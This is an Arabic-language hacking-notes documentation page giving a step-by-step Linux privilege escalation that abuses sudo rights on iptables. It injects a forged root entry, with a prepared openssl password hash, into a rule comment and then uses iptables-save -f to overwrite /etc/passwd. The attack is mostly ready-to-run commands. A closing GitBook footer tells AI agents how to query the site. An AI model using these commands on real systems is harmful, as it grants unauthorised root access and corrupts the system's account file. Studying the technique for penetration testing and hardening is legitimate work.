> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/privesc/sudoers/sudo-iptables-linux-privilege-escalation.md).

# sudo iptables - تصعيد امتيازات لينكس

## ما هو

يبدأ تصعيد الامتيازات في sudoers بالأوامر التي يمكن للمستخدم تشغيلها عبر `sudo`. يمكن للثنائيات المهيأة بشكل خاطئ، ومعاملات البرامج النصية غير الآمنة، ومعالجة الروابط الرمزية، وإصدارات sudo الضعيفة أن تحول صلاحيات sudo المحدودة إلى غلاف root. تركز هذه الصفحة تحديدًا على **sudo (iptables)** وتحافظ على سير الاستغلال بشكل عملي: حدّد الحالة، تحقّق منها بأمان، ثم شغّل أصغر حمولة لازمة لإثبات الأثر.

## الاستكشاف

ابدأ بتأكيد السياق المحلي والتهيئة الخاطئة الدقيقة قبل تشغيل مسار الاستغلال.

```bash
sudo -l
sudo --version
```

## أمثلة

<figure><img src="/files/31bf037e9380af782a823c2c2cec9425dd197fae" alt="" width="556"><figcaption></figcaption></figure>

#### الخطوة 1: إضافة تعليقات إلى القواعد عبر iptables <a href="#step-1-commenting-rules-via-iptables" id="step-1-commenting-rules-via-iptables"></a>

خذ مثالًا بسيطًا على `iptables` أمر لإضافة قاعدة لجدار ناري:

```bash
sudo iptables -A INPUT -i lo -j ACCEPT
```

> يمكن إضافة تعليقات (حتى 256 حرفًا) إلى أي قاعدة باستخدام `--comment` الخيار. / إليك مثالًا:

```bash
sudo iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'/nwhoami/n'
```

يعمل هذا، ويمكن التحقق منه بالأمر التالي:

<figure><img src="/files/f791902f48a1ee03818372773c3dd18ede1d9326" alt=""><figcaption></figcaption></figure>

#### ملاحظة حول ثغرة محتملة

باستخدام `-f` الخيار الخاص بـ `iptables-save` يمكن إنشاء ملفات بصلاحيات الجذر تحتوي على محتوى `iptables` القواعد. على سبيل المثال:

```bash
sudo /usr/sbin/iptables-save -f test
```

<figure><img src="/files/bcfb11cafd42c9229419be1d0ce69c4cd478f8f8" alt=""><figcaption></figcaption></figure>

الخطوات لاستغلال هذه الثغرة والحصول على تصعيد للصلاحيات هي:

1. **إنشاء كلمة مرور الجذر مشفرة**/ استخدم `openssl` لتشفير كلمة المرور الجديدة بالتنسيق المناسب:

```bash
openssl passwd jordan1234
```

$1$l.gPAsBk$R9avz6cb3xAGhuCvecolm0

2. **حقن أمر تغيير كلمة المرور**/ باستخدام `--comment` الخيار، قم بحقن الأمر التالي لتغيير كلمة مرور الجذر

{% code overflow="wrap" %}

```bash
sudo /usr/sbin/iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'/nroot:$1$l.gPAsBk$R9avz6cb3xAGhuCvecolm0:root:/root:/bin/bash/n'
```

{% endcode %}

<figure><img src="/files/2d69acfc603b1fbdf4cc82db443a70dc35ba9002" alt=""><figcaption></figcaption></figure>

3. سحق `/etc/passwd`قيد التشغيل

```bash
sudo /usr/sbin/iptables-save -f /etc/passwd
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/privesc/sudoers/sudo-iptables-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
